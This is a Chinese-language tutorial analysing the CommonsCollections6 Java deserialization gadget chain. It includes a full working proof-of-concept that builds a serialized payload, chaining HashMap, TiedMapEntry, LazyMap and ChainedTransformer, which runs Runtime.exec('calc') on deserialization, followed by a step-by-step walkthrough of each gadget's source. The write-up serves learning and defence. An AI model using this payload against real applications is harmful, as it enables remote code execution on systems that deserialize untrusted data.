分析时所使用的 JDK 版本为: 8u472
CommonsCollections1 中使用了AnnotationInvocationHandler 类进行 gadgets 构造,但是在 jdk8u71 之后 AnnotationInvocationHandler类的readObject()方法实现发生了改变,导致原利用方法在高版本 java 不再适用了。
下面我们不分析 ysoserial 的链,而是学习p牛的简化链。
Gadgets
ObjectInputStream.readObject()
-> HashMap.readObject()
-> HashMap.hash(key)
-> TiedMapEntry.hashCode()
-> TiedMapEntry.getValue()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> InvokerTransformer.transform()
-> Method.invoke()
-> Runtime.getRuntime()
-> Runtime.exec("calc")
POC
package CommonsCollections6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws Exception{
// 经典的 transformer 链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
};
// 过渡 transformer 链,避免在构造阶段触发执行
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(1)
};
// 链式执行
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// HashMap 入口
Map innerMap = new HashMap();
// LazyMap 包装 HashMap
// LazyMap 只对 get 方法继续了逻辑增强,方法重写
// 其他的方法都只是继承了 super(map) 然后对 map 的默认行为做转发
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"sinon1");
Map expMap = new HashMap();
expMap.put(tiedMapEntry,"sinon2");
outerMap.remove("sinon1");
// 反射修改 chainedTransformer 的 iTransformers 字段
Class<?> clazz = ChainedTransformer.class;
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);
byte[] bytes = serialize(expMap);
unserialize(bytes);
}
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
}
Sink
作为 CommonsCollections6 的实际执行点, ChainedTransformer 链的实现和在其他 CommonsCollections 链中 区别不大,这里再次简单回顾一下。
使用 Transformer[] 将调用链塞进一个数组,然后在 ChainedTransformer 中调用 transform 方法时,会遍历数组的每一个元素为每个元素依次调用 transform。 每次调用的返回值会重新赋给 object,然后传给下一个 transformer。
所以 Gadgets 目标很明确了,就是找到一条外部可控的路径触发 ChainedTransformer 的 transform 方法,即可引爆
// 经典的 transformer 链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 不依赖 cc6 , 使用 ChainedTransformer 自带特性触发调用链,传入参数随意
Object value = chainedTransformer.transform("Sinon");ChainedTransformer
ChainedTransformer 构造方法,会将接收到的构造参数,即传递进来的 Transformer[] ,赋给 iTransformers 数组。
private final Transformer[] iTransformers;
// 将传递进来的 Transformer[] 赋给 iTransformers
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}ChainedTransformer.tranform 遍历数组的每一个元素为每个元素依次调用 transform。 每次调用的返回值会重新赋给 object,然后传给下一个 transformer。
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}我们前文使用 ChainedTransformer.transform 触发完整的链
我们关注到 tranform 数组第一个入口类为: ConstantTransformer ,他的 transform 方法如下,即不关注入参直接返回构造时给的常量
public Object transform(Object input) {
return this.iConstant;
}所以如下即可触发完整链调用。
// 入参可为任意值
Object value = chainedTransformer.transform("Sinon");Trigger Chain
我们从 Sink 往源入口学习 CommonsCollections6 的原理,而先不追求自己审计出一条链。
现在我们可以来分析为什么 LazyMap.get() 能够触发 chainedTransformer.transform
LazyMap
LazyMap 本质上是一个 Map 的装饰器(Decorator),它不自己真正存数据,而是包装一个真实的 Map,在此基础上做了一点懒加载增强:它对绝大部分 Map 方法只是简单转发到底层 Map ,只有对 get方法增强了。
从他的方法实现上,应该很清晰明了了,LazyMap 增强的 get 方法为,当在Map 对象中尝试 get 一个 key 时,如果对象中没有这个 key 就用 transformer 动态生成一个,再存进去。如果已经有这个 key,直接返回原来的值
protected final Transformer factory;
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}所以我们只需要构造一个 LazyMap 对象,然后 get 一个不存在的 key 就能触发 this.factory.transform(key)
所以接下来,我们想个办法将 LazyMap.factory 赋成 ChainedTransformer 就行了。
不难看到LazyMap 作为一个装饰器类,自然提供了 decorate 方法,当我们对一个 map 进行装饰的时候,传入的 Transformer factory 设置为 ChainedTransformer 即可将 LazyMap.factory 转为 ChainedTransformer

所以有前文 POC
// HashMap 入口
Map innerMap = new HashMap();
// LazyMap 包装 HashMap
// LazyMap 只对 get 方法进行了逻辑增强
// 其他的方法都只是继承了 super(map) 然后对 map 的默认行为做转发
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);TiedMapEntry
现在我们思路有了,即找到一个方法来调用 LazyMap 实例来 get 一个不存在的 key
很巧的是 TiedMapEntry 刚好能够实现这个目标。
TiedMapEntry 的构造方法期望一个 map 和一个 key ,而当我们调用 TiedMapEntry.getValue 会调用 this.map.get(this.key)
很容易想到如果这个 map 是经过 LazyMap装饰的 map 实例,就实现了前文需求的 LazyMap.get

所以就有了 POC 中的:
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"sinon1");现在又有一个问题,我们要怎么去找到一个点,能够在反序列化过程中自动的调用到 TiedMapEntry.getValue 呢?
反序列化期望的是 触发条件少,自动化程度高,依赖少,可复现性强,JDK 自带,环境普遍存在
很显然,除了自己设计的业务逻辑外,几乎不会有自动遍历调用 TiedMapEntry.getValue 这种场景。我们不妨继续看看 TiedMapEntry 的实现细节。
可以发现 getValue 方法,有被 TiedMapEntry 类中的其他方法使用。
一个是 equals 一个是 hashCode

看到 hashCode 方法,我们就应该意识到,链路节点就在这里。
在 JDK8 中,HashMap 在反序列化时 几乎必然 会调用 key.hashCode() ,那么我们就应该从 hashCode 方法间接的调用到 getValue
而不是去尝试寻找一条自动化直接调用 `TiedMapEntry.getValue 的新链。
所以我们只要将 HashMap 的 key 设计为 TiedMapEntry 实例,就完美的将链打通了。
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"sinon1");
Map expMap = new HashMap();
expMap.put(tiedMapEntry,"sinon2");HashMap
正如上所说,我们现在来看看 HashMap 是怎么实现的。
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);
reinitialize();
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
不难看到, HashMap 所实现的 readObject 逻辑中,只要 map 非空,则读出每一个 key/value 并 putVal → 触发 hash() 然后再到 hashCode()
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}自此,整条 Gadgets 链就串联起来了
ObjectInputStream.readObject()
-> HashMap.readObject()
-> HashMap.hash(key)
-> TiedMapEntry.hashCode()
-> TiedMapEntry.getValue()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> InvokerTransformer.transform()
-> Method.invoke()
-> Runtime.getRuntime()
-> Runtime.exec("calc")